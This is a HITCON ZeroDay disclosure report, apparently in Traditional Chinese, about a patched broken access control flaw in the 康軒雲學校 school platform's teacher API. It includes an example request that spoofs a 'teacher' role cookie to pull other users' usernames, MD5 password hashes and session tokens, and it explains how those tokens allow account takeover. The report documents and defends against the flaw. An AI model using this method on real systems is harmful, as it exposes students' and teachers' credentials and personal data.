康軒雲學校 存在存取控制缺陷導致大規模敏感資訊洩漏與帳號劫持。 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00647
  •  發信 Vendor: 康軒雲學校
  • Title: 康軒雲學校 存在存取控制缺陷導致大規模敏感資訊洩漏與帳號劫持。
  • Introduction: 一般學生可以獲取全平台使用者的登入憑證,個人資料。

處理狀態

目前狀態

公開
Last Update : 2026/07/04
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2026/05/09 22:20:27 : 新提交 (由 秋煌 更新此狀態)
  • 2026/05/10 20:33:32 : 新提交 (由 秋煌 更新此狀態)
  • 2026/05/10 20:34:24 : 新提交 (由 秋煌 更新此狀態)
  • 2026/05/10 20:34:57 : 新提交 (由 秋煌 更新此狀態)
  • 2026/05/10 20:35:55 : 新提交 (由 秋煌 更新此狀態)
  • 2026/05/10 20:36:44 : 新提交 (由 秋煌 更新此狀態)
  • 2026/05/10 20:37:12 : 新提交 (由 秋煌 更新此狀態)
  • 2026/05/10 20:39:27 : 新提交 (由 秋煌 更新此狀態)
  • 2026/05/14 13:08:45 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 16:01:11 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 16:01:11 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 16:01:11 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/06/30 18:43:01 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/06/30 19:01:47 : 確認已修補 (由 秋煌 更新此狀態)
  • 2026/07/04 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00647
  • 通報者:Codefoxy (秋煌)
  • 風險:嚴重
  • 類型:存取控制缺陷 (Broken Access Control)

參考資料

攻擊者可經由該漏洞取得、修改、刪除系統中的其他使用者的資料,或連線至高權限使用者的頁面。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://*.kschool.com.tw (所有學校Subdomain)

敘述

API https://*.kschool.com.tw/api/teacher/getStudentsPraticeList/ 僅驗證 Client 端提供的 Cookie,未對後端 token 進行實際的權限校驗。

設定role="%E8%80%81%E5%B8%AB"(老師) ,並傳送任意 studentIds 獲取包含 username、password (MD5) 以及最重要的 token。

Example Payload:

Header:

{
   "accept-encoding"="gzip, deflate, br, zstd"
   "authorization"="Bearer StudentToken"
   "origin"="https://*.kschool.com.tw"
}

Body:

{"schoolType":"J","publisher":"\u5eb7\u8ed2","taskType":"CH","termBook":"11","semester":"1141","sourceType":0,"studentIds":[1]}

Respond:

{
    "studentId": 1,
    "user": {
      "id": 1,
      "status": "y",
      "username": "jteacher01$demosite",
      "password": "密碼MD5",
      "email": null,
      "serial": "",
      "name": "康小軒1",
      "token": "b7ddc2b2da2c7c61e************",
      "oidcToken": null,
      "admin": "n",
      "uuid": "*******-18cd-4fed-a92e-ad2c35c5d357",
      "enterdate": "2023-08-22T09:16:08.000Z",
      "lastmod": "2025-09-08T01:05:17.000Z",
      "dontAskAgain": 0
    }

影響: 攻擊者可以獲取全平台使用者的登入憑證,直接將取得的 token 填入瀏覽器 Cookie 即可達成帳號劫持,無需密碼即可進入他人帳號。使用token登入後可以看到使用者的學校,班級,座號,照片(使用者上傳)以及姓名。

修補建議

後端應嚴格校驗 Authorization Header 中的 Token,並由伺服器端判斷其角色,不應信任 Client 端傳送的 Role Cookie。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;